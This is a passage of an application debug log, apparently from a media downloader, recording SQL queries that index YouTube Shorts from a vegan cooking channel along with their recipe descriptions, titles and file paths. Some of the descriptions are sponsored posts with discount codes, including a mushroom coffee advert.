try! Use my code STEAMYVEGAN to save 20% off your first order at www.eightbillion.com/steamyvegan and thank me later 😌☕️ \n\n#steamyvegan #eightbillionplanet #jostarriba #mushroomcoffee #adaptogencoffee #nootropics #adaptogeniccoffee #mushroomcoffeemix #mushroomcoffeelover #adaptogens #coffeealternative #brandambassador", "FINALLY. A mushroom coffee that doesn’t taste like mushrooms ❌🍄\u200D🟫", "ddab28ca-8f2f-4509-8305-8ca158709ee6", 1, [], false, "SZU2m0ie4Ek", "https://www.youtube.com/shorts/SZU2m0ie4Ek", 83, "/downloads/downloads/alec/Steamy Vegan/2024-08-11 FINALLY. A mushroom coffee that doesn’t taste like mushrooms ❌🍄\u200D🟫/FINALLY. A mushroom coffee that doesn’t taste like mushrooms ❌🍄\u200D🟫 [SZU2m0ie4Ek].NA", false, false, true, 2, ~U[2024-08-11 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "If you’re looking for an anxiety-free cup of coffee, give JostArriba a try! Use my code STEAMYVEGAN to save 20% off your first order at www.eightbillion.com/steamyvegan and thank me later 😌☕️ \n\nY’all, if you love coffee ☕️ but hate the way it makes you feel 😩 (ie. anxiety, gut rot, the shakes, the sweats) perhaps it’s time to try something better! After quitting coffee for 6 months and trying all the top dog mushroom coffees, I’ve finally found one that not only tastes like coffee it doesn’t taste like mushrooms! ❌🍄\u200D🟫\n\nJostArriba by @eightbillionplanet is literally changing my life 😍 As someone who struggles with anxiety pretty badly, I can honestly say that after drinking this stuff for over 2 months, it doesn’t give me ANY anxiety, racing heart, sweats, shakes or upset stomach like regular coffee does. None. And it’s delicious, tastes just like a regular cup of coffee with no weird mushroom flavour.\n\nIt’s packed with SO MUCH clinically proven brain-boosting GOODNESS! 🤩\n✔️Organic ashwaganda\n✔️Organic Lion’s Mane\n✔️Organic Reishi Mushroom Extract\n✔️Coffeeberry Extract\n✔️L-Theanine\n✔️Organic Fair Trade Columbian Coffee Extract\n\nIf you’re looking for an anxiety-free cup of coffee, give JostArriba a try! Use my code STEAMYVEGAN to save 20% off your first order at www.eightbillion.com/steamyvegan and thank me later 😌☕️ \n\n#steamyvegan #eightbillionplanet #jostarriba #mushroomcoffee #adaptogencoffee #nootropics #adaptogeniccoffee #mushroomcoffeemix #mushroomcoffeelover #adaptogens #coffeealternative #brandambassador", "FINALLY. A mushroom coffee that doesn’t taste like mushrooms ❌🍄\u200D🟫", 1, nil, false, "SZU2m0ie4Ek", "https://www.youtube.com/shorts/SZU2m0ie4Ek", "/downloads/downloads/alec/Steamy Vegan/2024-08-11 FINALLY. A mushroom coffee that doesn’t taste like mushrooms ❌🍄\u200D🟫/FINALLY. A mushroom coffee that doesn’t taste like mushrooms ❌🍄\u200D🟫 [SZU2m0ie4Ek].NA", true, ~U[2024-08-11 00:00:00Z]] 20:31:09.342 [debug] QUERY OK source="sources" db=1.0ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.345 [debug] QUERY OK source="media_items" db=1.8ms idle=7.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-04-23 00:00:00Z], 1] 20:31:09.346 [debug] QUERY OK source="media_items" db=0.7ms idle=8.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Hummus pasta only takes 15-20 minutes to make, is high-protein, can be made gluten-free and is a plant-based recipe. All you need are a couple ingredients and some store bought hummus to make this easy vegan recipe. It'll be your new go-to after a long day of work or is perfect to meal prep for the week. I eat this at least once every week or two!\n\nDon't forget to subscribe if you want more plant-based or gluten-free recipes.", "Easy 15 Minute Hummus Pasta ASMR Cooking Style 🤤", "e3e208a0-bcf8-4d7c-9011-864c1d28676a", 1, [], false, "KuA1lcTx5ek", "https://www.youtube.com/shorts/KuA1lcTx5ek", 84, "/downloads/downloads/alec/Steamy Vegan/2024-04-23 Easy 15 Minute Hummus Pasta ASMR Cooking Style 🤤/Easy 15 Minute Hummus Pasta ASMR Cooking Style 🤤 [KuA1lcTx5ek].NA", false, false, true, 1, ~U[2024-04-23 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "Hummus pasta only takes 15-20 minutes to make, is high-protein, can be made gluten-free and is a plant-based recipe. All you need are a couple ingredients and some store bought hummus to make this easy vegan recipe. It'll be your new go-to after a long day of work or is perfect to meal prep for the week. I eat this at least once every week or two!\n\nDon't forget to subscribe if you want more plant-based or gluten-free recipes.", "Easy 15 Minute Hummus Pasta ASMR Cooking Style 🤤", 1, nil, false, "KuA1lcTx5ek", "https://www.youtube.com/shorts/KuA1lcTx5ek", "/downloads/downloads/alec/Steamy Vegan/2024-04-23 Easy 15 Minute Hummus Pasta ASMR Cooking Style 🤤/Easy 15 Minute Hummus Pasta ASMR Cooking Style 🤤 [KuA1lcTx5ek].NA", true, ~U[2024-04-23 00:00:00Z]] 20:31:09.347 [debug] QUERY OK source="sources" db=0.9ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.350 [debug] QUERY OK source="media_items" db=2.0ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-01-08 00:00:00Z], 1] 20:31:09.351 [debug] QUERY OK source="media_items" db=0.9ms idle=7.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["🍋 PRESERVED LEMON PURÉE 🍋 I have been patiently waiting ⏰ since NOVEMBER to finally make this and I’m so jazzed that the time is finally here! This recipe is from @chefmichaelsmith new cookbook Farmhouse Vegetables which is so awesome 🤩 thanks to my grandma for buying it for me 💕 (She’s the cutest and the BEST 🥹) \n\nI blended up some extra salty lemons that have been in the fridge for almost 2️⃣ months, and now I can use this preserved lemon purée 🍋 in all sorts of healthy recipes. Do you guys want the recipe?! \n\nPS❗️ I’m definitely making a bright and zippy salad dressing 🥗 next so stay tuned for part 2! \n\n#eatyourselfhealthy #lemony #whenlifegivesyoulemons🍋 #preservedlemons #preserves", "I made preserved lemon purée! 🍋🤩", "5259d52f-ed1a-46cc-8e72-70e1cc1575b4", 1, [], false, "BiiKTP-4s_4", "https://www.youtube.com/shorts/BiiKTP-4s_4", 85, "/downloads/downloads/alec/Steamy Vegan/2024-01-08 I made preserved lemon purée! 🍋🤩/I made preserved lemon purée! 🍋🤩 [BiiKTP-4s_4].NA", false, false, true, 1, ~U[2024-01-08 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "🍋 PRESERVED LEMON PURÉE 🍋 I have been patiently waiting ⏰ since NOVEMBER to finally make this and I’m so jazzed that the time is finally here! This recipe is from @chefmichaelsmith new cookbook Farmhouse Vegetables which is so awesome 🤩 thanks to my grandma for buying it for me 💕 (She’s the cutest and the BEST 🥹) \n\nI blended up some extra salty lemons that have been in the fridge for almost 2️⃣ months, and now I can use this preserved lemon purée 🍋 in all sorts of healthy recipes. Do you guys want the recipe?! \n\nPS❗️ I’m definitely making a bright and zippy salad dressing 🥗 next so stay tuned for part 2! \n\n#eatyourselfhealthy #lemony #whenlifegivesyoulemons🍋 #preservedlemons #preserves", "I made preserved lemon purée! 🍋🤩", 1, nil, false, "BiiKTP-4s_4", "https://www.youtube.com/shorts/BiiKTP-4s_4", "/downloads/downloads/alec/Steamy Vegan/2024-01-08 I made preserved lemon purée! 🍋🤩/I made preserved lemon purée! 🍋🤩 [BiiKTP-4s_4].NA", true, ~U[2024-01-08 00:00:00Z]] 20:31:09.352 [debug] QUERY OK source="sources" db=0.6ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.354 [debug] QUERY OK source="media_items" db=2.0ms idle=5.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-12-14 00:00:00Z], 1] 20:31:09.355 [debug] QUERY OK source="media_items" db=1.0ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This cheese ball is completely vegan, gluten-free and has way more protein then any other cheese ball out there. It's made with tofu and cashews and is the perfect spreadable one-bite appetizer for all your holiday get togethers, new years or for movie night!\n\nCheck out the full length recipe video on the channel where I also feature 3 other vegan appetizer recipes for you too!", "How to Make a Vegan Holiday Cheese Ball 🧀 🎄", "5d1cc2bf-b6ca-45d3-a6f4-17911cbba122", 1, [], false, "pfPnM2HdI5I", "https://www.youtube.com/shorts/pfPnM2HdI5I", 86, "/downloads/downloads/alec/Steamy Vegan/2023-12-14 How to Make a Vegan Holiday Cheese Ball 🧀 🎄/How to Make a Vegan Holiday Cheese Ball 🧀 🎄 [pfPnM2HdI5I].NA", false, false, true, 1, ~U[2023-12-14 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This cheese ball is completely vegan, gluten-free and has way more protein then any other cheese ball out there. It's made with tofu and cashews and is the perfect spreadable one-bite appetizer for all your holiday get togethers, new years or for movie night!\n\nCheck out the full length recipe video on the channel where I also feature 3 other vegan appetizer recipes for you too!", "How to Make a Vegan Holiday Cheese Ball 🧀 🎄", 1, nil, false, "pfPnM2HdI5I", "https://www.youtube.com/shorts/pfPnM2HdI5I", "/downloads/downloads/alec/Steamy Vegan/2023-12-14 How to Make a Vegan Holiday Cheese Ball 🧀 🎄/How to Make a Vegan Holiday Cheese Ball 🧀 🎄 [pfPnM2HdI5I].NA", true, ~U[2023-12-14 00:00:00Z]] 20:31:09.356 [debug] QUERY OK source="sources" db=0.6ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.358 [debug] QUERY OK source="media_items" db=1.9ms idle=5.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-12-11 00:00:00Z], 1] 20:31:09.361 [debug] QUERY OK source="media_items" db=1.9ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These maple bacon baked beans are the perfect vegan recipe to warm you up this winter. In the full video I also show you how to make vegan pulled pork, slaw, and carrot fries. Subscribe if you enjoy new vegan and gluten free recipes every week!", "Maple Bacon Baked Beans 🫘 VEGAN + GF", "fa19ac55-9292-41b8-aa7a-9dbb0fc9fc60", 1, [], false, "hzxweqEEDOw", "https://www.youtube.com/shorts/hzxweqEEDOw", 87, "/downloads/downloads/alec/Steamy Vegan/2023-12-11 Maple Bacon Baked Beans 🫘 VEGAN + GF/Maple Bacon Baked Beans 🫘 VEGAN + GF [hzxweqEEDOw].NA", false, false, true, 1, ~U[2023-12-11 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "These maple bacon baked beans are the perfect vegan recipe to warm you up this winter. In the full video I also show you how to make vegan pulled pork, slaw, and carrot fries. Subscribe if you enjoy new vegan and gluten free recipes every week!", "Maple Bacon Baked Beans 🫘 VEGAN + GF", 1, nil, false, "hzxweqEEDOw", "https://www.youtube.com/shorts/hzxweqEEDOw", "/downloads/downloads/alec/Steamy Vegan/2023-12-11 Maple Bacon Baked Beans 🫘 VEGAN + GF/Maple Bacon Baked Beans 🫘 VEGAN + GF [hzxweqEEDOw].NA", true, ~U[2023-12-11 00:00:00Z]] 20:31:09.362 [debug] QUERY OK source="sources" db=0.8ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.365 [debug] QUERY OK source="media_items" db=2.1ms idle=7.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-12-06 00:00:00Z], 1] 20:31:09.366 [debug] QUERY OK source="media_items" db=1.0ms idle=8.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["VEGAN (and gluten-free) Edible Foodie Gifts! 🎁 There’s nothing quite as thoughtful and delightful as giving and receiving some delicious homemade holiday nibbles! 🎄 So I’ve rounded up my TOP 5 🖐🏻 homemade edible gifts for the foodies in your life! ✨\n\nThe full in-depth guide is on my YouTube channel (linked in bio) so head over there to check it out and get the full recipes for each item! ♥️\n\n5. Chocolate Orange Granola 🍫🍊\n4. Vegan Eggnog/Pumpkin Nog 🥛\n3. Candy Cane Shortbread 🍭\n2. Welsh Tea Cakes ☕️\n1. Vegan Nutella 🌰🍫\n\nSave this post and follow @steamyvegankitchen for lots more plant-based inspiration this holiday season! 🎄🌱\n\n#giftideas2023 #foodiegifts #vegangiftideas #foodiegift #giftguide2023 #vegangiftguide #veganfoodies #veganfoodie #vegantreats #holidaycookies #veganglutenfree #veganglutenfreerecipes #vgf #vegangf #glutenfreevegan #gfveganbaking #gfvegan #plantbasedgoodness #beginnervegan #veganforbeginners", "DIY Foodie Gifts for the Holidays! ⭐️ Vegan, Gluten-Free, YUMMY! 😋", "ee5c80cd-035a-4f43-a56d-5e3f3098257b", 1, [], false, "mQxk8JdU3KA", "https://www.youtube.com/shorts/mQxk8JdU3KA", 88, "/downloads/downloads/alec/Steamy Vegan/2023-12-06 DIY Foodie Gifts for the Holidays! ⭐️ Vegan, Gluten-Free, YUMMY! 😋/DIY Foodie Gifts for the Holidays! ⭐️ Vegan, Gluten-Free, YUMMY! 😋 [mQxk8JdU3KA].NA", false, false, true, 1, ~U[2023-12-06 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "VEGAN (and gluten-free) Edible Foodie Gifts! 🎁 There’s nothing quite as thoughtful and delightful as giving and receiving some delicious homemade holiday nibbles! 🎄 So I’ve rounded up my TOP 5 🖐🏻 homemade edible gifts for the foodies in your life! ✨\n\nThe full in-depth guide is on my YouTube channel (linked in bio) so head over there to check it out and get the full recipes for each item! ♥️\n\n5. Chocolate Orange Granola 🍫🍊\n4. Vegan Eggnog/Pumpkin Nog 🥛\n3. Candy Cane Shortbread 🍭\n2. Welsh Tea Cakes ☕️\n1. Vegan Nutella 🌰🍫\n\nSave this post and follow @steamyvegankitchen for lots more plant-based inspiration this holiday season! 🎄🌱\n\n#giftideas2023 #foodiegifts #vegangiftideas #foodiegift #giftguide2023 #vegangiftguide #veganfoodies #veganfoodie #vegantreats #holidaycookies #veganglutenfree #veganglutenfreerecipes #vgf #vegangf #glutenfreevegan #gfveganbaking #gfvegan #plantbasedgoodness #beginnervegan #veganforbeginners", "DIY Foodie Gifts for the Holidays! ⭐️ Vegan, Gluten-Free, YUMMY! 😋", 1, nil, false, "mQxk8JdU3KA", "https://www.youtube.com/shorts/mQxk8JdU3KA", "/downloads/downloads/alec/Steamy Vegan/2023-12-06 DIY Foodie Gifts for the Holidays! ⭐️ Vegan, Gluten-Free, YUMMY! 😋/DIY Foodie Gifts for the Holidays! ⭐️ Vegan, Gluten-Free, YUMMY! 😋 [mQxk8JdU3KA].NA", true, ~U[2023-12-06 00:00:00Z]] 20:31:09.367 [debug] QUERY OK source="sources" db=0.9ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.370 [debug] QUERY OK source="media_items" db=1.8ms idle=7.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-27 00:00:00Z], 1] 20:31:09.371 [debug] QUERY OK source="media_items" db=0.6ms idle=8.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Use code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!", "COOKIES ‘N CREAM SHAKE 🍪 vegan, dairy-free, gluten-free, SO YUM", "2f66b457-db3f-461a-a3d5-2da92a466187", 1, [], false, "qkhWaoTRsCI", "https://www.youtube.com/shorts/qkhWaoTRsCI", 89, "/downloads/downloads/alec/Steamy Vegan/2023-11-27 COOKIES ‘N CREAM SHAKE 🍪 vegan, dairy-free, gluten-free, SO YUM/COOKIES ‘N CREAM SHAKE 🍪 vegan, dairy-free, gluten-free, SO YUM [qkhWaoTRsCI].NA", false, false, true, 2, ~U[2023-11-27 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "Use code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!", "COOKIES ‘N CREAM SHAKE 🍪 vegan, dairy-free, gluten-free, SO YUM", 1, nil, false, "qkhWaoTRsCI", "https://www.youtube.com/shorts/qkhWaoTRsCI", "/downloads/downloads/alec/Steamy Vegan/2023-11-27 COOKIES ‘N CREAM SHAKE 🍪 vegan, dairy-free, gluten-free, SO YUM/COOKIES ‘N CREAM SHAKE 🍪 vegan, dairy-free, gluten-free, SO YUM [qkhWaoTRsCI].NA", true, ~U[2023-11-27 00:00:00Z]] 20:31:09.371 [debug] QUERY OK source="sources" db=0.6ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.374 [debug] QUERY OK source="media_items" db=2.4ms idle=5.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-25 00:00:00Z], 1] 20:31:09.375 [debug] QUERY OK source="media_items" db=0.8ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["If you want your house to smell incredible all day then you'll want to try out this delicious crockpot recipe for cooking all your winter veggies. This recipe is vegan, gluten free and high protein with the cinnamon tempeh added. This makes a great side dish to any holiday dinner or can also stand alone as its own meal.\n\nCheck out the full recipe video live on the channel! Thanks for watching!", "How I’m Cooking My Veggies All Winter 🥕🥔🤤", "b1821f2b-fb0c-4269-802a-a4fb9a890fb2", 1, [], false, "fYY3mkF-RFI", "https://www.youtube.com/shorts/fYY3mkF-RFI", 90, "/downloads/downloads/alec/Steamy Vegan/2023-11-25 How I’m Cooking My Veggies All Winter 🥕🥔🤤/How I’m Cooking My Veggies All Winter 🥕🥔🤤 [fYY3mkF-RFI].NA", false, false, true, 1, ~U[2023-11-25 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "If you want your house to smell incredible all day then you'll want to try out this delicious crockpot recipe for cooking all your winter veggies. This recipe is vegan, gluten free and high protein with the cinnamon tempeh added. This makes a great side dish to any holiday dinner or can also stand alone as its own meal.\n\nCheck out the full recipe video live on the channel! Thanks for watching!", "How I’m Cooking My Veggies All Winter 🥕🥔🤤", 1, nil, false, "fYY3mkF-RFI", "https://www.youtube.com/shorts/fYY3mkF-RFI", "/downloads/downloads/alec/Steamy Vegan/2023-11-25 How I’m Cooking My Veggies All Winter 🥕🥔🤤/How I’m Cooking My Veggies All Winter 🥕🥔🤤 [fYY3mkF-RFI].NA", true, ~U[2023-11-25 00:00:00Z]] 20:31:09.376 [debug] QUERY OK source="sources" db=0.6ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.378 [debug] QUERY OK source="media_items" db=2.2ms idle=5.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-22 00:00:00Z], 1] 20:31:09.379 [debug] QUERY OK source="media_items" db=0.7ms idle=7.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This cornbread stuffing is way better then the store bought stovetop stuff. It's a vegan and gluten free recipe that will keep everyone going back for more. Subscribe and check out all the holiday sides we're doing on the channel this week and best of all they're all vegan and gluten free!", "Cornbread Stuffing...the biggest hit at Thanksgiving Dinner 🤤 Gluten-Free and Vegan", "54ac7424-3cd7-4142-ad67-854dd44aa07f", 1, [], false, "_MMX0dWszDE", "https://www.youtube.com/shorts/_MMX0dWszDE", 91, "/downloads/downloads/alec/Steamy Vegan/2023-11-22 Cornbread Stuffing...the biggest hit at Thanksgiving Dinner 🤤 Gluten-Free and Vegan/Cornbread Stuffing...the biggest hit at Thanksgiving Dinner 🤤 Gluten-Free and Vegan [_MMX0dWszDE].NA", false, false, true, 2, ~U[2023-11-22 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This cornbread stuffing is way better then the store bought stovetop stuff. It's a vegan and gluten free recipe that will keep everyone going back for more. Subscribe and check out all the holiday sides we're doing on the channel this week and best of all they're all vegan and gluten free!", "Cornbread Stuffing...the biggest hit at Thanksgiving Dinner 🤤 Gluten-Free and Vegan", 1, nil, false, "_MMX0dWszDE", "https://www.youtube.com/shorts/_MMX0dWszDE", "/downloads/downloads/alec/Steamy Vegan/2023-11-22 Cornbread Stuffing...the biggest hit at Thanksgiving Dinner 🤤 Gluten-Free and Vegan/Cornbread Stuffing...the biggest hit at Thanksgiving Dinner 🤤 Gluten-Free and Vegan [_MMX0dWszDE].NA", true, ~U[2023-11-22 00:00:00Z]] 20:31:09.380 [debug] QUERY OK source="sources" db=0.9ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", 